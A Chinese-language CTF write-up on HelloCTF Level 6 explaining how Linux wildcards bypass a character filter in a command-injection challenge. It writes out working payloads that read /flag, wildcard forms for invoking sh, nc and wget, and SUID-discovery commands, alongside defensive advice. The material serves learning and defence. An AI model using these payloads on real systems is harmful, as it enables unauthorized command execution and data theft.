当前位置: 首页 > news >正文

从HelloCTF靶场Level 6出发:一次搞懂Linux通配符在命令注入中的‘隐藏’用法

从HelloCTF靶场Level 6出发:一次搞懂Linux通配符在命令注入中的‘隐藏’用法

在CTF竞赛中,命令注入漏洞的利用往往需要绕过各种字符过滤机制。HelloCTF Level 6这道题目巧妙地展示了如何利用Linux通配符的特性来绕过严格的字符过滤,实现远程代码执行。本文将深入剖析这道题目的解题思路,并扩展讲解Linux通配符在安全领域的多种应用场景。

1. 题目分析与过滤规则解读

首先让我们仔细分析题目提供的过滤规则:

/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/

这个正则表达式过滤了以下字符:

  • 所有小写字母(b-z)
  • 所有大写字母(A-Z)
  • 下划线(_)
  • 特殊符号:@#%^&*:{}-+<>"|`;[]

这意味着我们无法直接使用常见的命令如catlsbase64等,因为这些命令名称中包含被过滤的字母。但有趣的是,正则表达式没有过滤/?!等字符,这为利用通配符绕过提供了可能。

提示:在Linux系统中,?通配符代表任意单个字符,*代表任意长度的字符(包括零长度)

2. Linux通配符的底层原理

Linux通配符(Wildcards)是shell提供的文件名扩展功能,其匹配规则遵循以下原则:

  1. ?匹配单个字符:例如/???/???可以匹配/bin/cat/usr/bin等路径
  2. *匹配任意长度字符:例如/var/log/*可以匹配该目录下所有文件
  3. 字符类匹配[a-z]匹配a到z之间的任意字符(本题中已被过滤)

在本题环境中,我们可以利用?通配符来定位关键命令和文件:

# 查找可能的base64命令路径 echo /???/?a??64 # 输出示例:/bin/base64 # 查找可能的cat命令路径 echo /???/?a? # 输出示例:/bin/cat /bin/tar # 查找flag文件 echo /??a? # 输出示例:/flag

3. 构造有效payload的实战技巧

基于上述通配符特性,我们可以构建多种有效payload:

3.1 使用base64读取flag

/?cmd=/???/?a??64 /??a?

这个payload会被解析为:

  1. /???/?a??64/bin/base64
  2. /??a?/flag
  3. 最终执行:/bin/base64 /flag

3.2 使用cat直接读取flag

?cmd=/???/?a? /??a?

这个payload会被解析为:

  1. /???/?a?/bin/cat(也可能匹配到/bin/tar
  2. /??a?/flag
  3. 最终执行:/bin/cat /flag/bin/tar /flag

3.3 其他可能的命令组合

通配符模式可能匹配的命令用途
/???/?a??64/bin/base64编码输出
/???/?a?/bin/cat直接读取
/???/???/bin/ls目录列表
/???/????/bin/bash获取shell

4. 防御思路与安全建议

针对这种通配符绕过方式,开发者可以采取以下防御措施:

  1. 严格限制可用字符集

    // 只允许数字和特定符号 if (!preg_match('/^[0-9\/\?\.]+$/', $input)) { die("Invalid input"); }
  2. 禁用通配符扩展

    # 在shell脚本中使用set -f禁用通配符 set -f
  3. 使用白名单验证命令

    ALLOWED_COMMANDS = ['/usr/bin/base64', '/bin/cat'] if command not in ALLOWED_COMMANDS: raise ValueError("Command not allowed")
  4. 实施最小权限原则

    # 使用低权限用户运行命令 sudo -u nobody /path/to/command

5. 扩展思考:通配符的其他安全应用

Linux通配符在安全领域还有更多巧妙应用:

  1. 模糊文件查找

    # 查找可能的后门文件 find / -name "*.php" -o -name "*.py" | grep -E "(shell|backdoor|rev)"
  2. 权限提升探测

    # 查找具有SUID权限的可执行文件 find / -perm -4000 -type f -exec ls -ld {} \; 2>/dev/null
  3. 敏感文件发现

    # 查找可能的配置文件 ls -la /etc/*conf* /etc/*cfg*

在实际渗透测试中,熟练掌握通配符技巧可以大大提高效率。例如,当遇到字符限制时,可以考虑以下替代方案:

  • 使用/???/?s?代替/bin/sh
  • 使用/???/n?代替/bin/nc
  • 使用/???/w?代替/bin/wget

这些技巧不仅适用于CTF比赛,在真实的红队评估中同样具有实用价值。理解底层原理后,安全人员可以更灵活地应对各种限制环境。

http://www.cnnetsun.cn/news/1571264.html

相关文章:

  • 西安电子科技大学XeLaTeX论文模板:学术写作的完整解决方案
  • Qwen3-ASR-0.6B语音识别实战:录制声音实时转文字
  • 别再手写递归了!用微信小程序自定义组件封装一个可复用的树形菜单(附完整代码)
  • SPIRAN ART SUMMONER多场景落地:手机壁纸/桌面背景/艺术海报三端适配方案
  • 黑丝空姐-造相Z-Turbo模型管理:利用GitHub进行版本与社区协作
  • CTF实战:从PNG文件头到栅栏加密的完整解题思路(附避坑指南)
  • 为什么92%的Java边缘项目因Classloader泄漏失败?揭秘3层隔离沙箱设计与实时热替换机制
  • 别再用ResNet硬扛了!PyTorch音频分类:从梅尔谱图到SOTA模型架构的深度选型与调优
  • 2023最新免费天气预报API接口推荐与使用指南
  • 从零到一:手把手教你用openGauss构建企业级RAG智能问答系统
  • Python开发者必看:为什么某些场景下Go比FastAPI更适合(性能优化实战)
  • 告别Visual Studio!用VSCode + MinGW + CMake在Windows上从零搭建SDL3开发环境(保姆级教程)
  • 从MATLAB建模到Verilog实现:我的Sigma-Delta ADC数字滤波器设计全流程(附Sinc3代码)
  • 别再只盯着SIP了!用Wireshark实战分析H.323视频会议丢包与分辨率(附H.245解析技巧)
  • RPCS3完全指南:高性能PS3游戏模拟方案
  • 保姆级教程:用ROS的ros_control和Gazebo让阿克曼小车动起来(附完整YAML/Launch文件)
  • HCIA-AI V3.5华为认证人工智能工程师备考指南:章节重点解析与实战模拟
  • 零代码AI修图:Qwen-Image-Edit本地化部署,保护隐私数据安全
  • 嵌入式C语言调试技巧与工程实践
  • 实测避坑:软件模拟I2C驱动Type-C芯片(如IP2721)时,时钟延展功能到底有多重要?
  • 嵌入式 AI 新尝试:在 STM32 上部署轻量级情绪分类模型
  • protobuf在嵌入式领域的实战:STM32+nanopb数据序列化性能对比
  • Phi-3-Mini-128K入门必看:为什么Phi-3-mini比Qwen2-0.5B更适合128K长文本场景
  • Redis:不只是缓存那么简单(一)
  • DanKoe 视频笔记:未来保障技能栈:概述与核心理念
  • Qwen2.5-VL-7B-Instruct效果展示:三维CAD剖面图理解+尺寸标注提取+BOM表生成
  • 告别环境冲突!为CYBER-VISION零号协议创建专属Python沙箱
  • 写作压力小了!2026最新AI论文写作工具测评与推荐
  • 避坑指南:YOLOv8换MobileNetV3骨干网络时,_predict_once报错‘embed’的三种解决方法
  • 实用技巧:PaddlePaddle-v3.3模型转TensorFlow的常见问题解决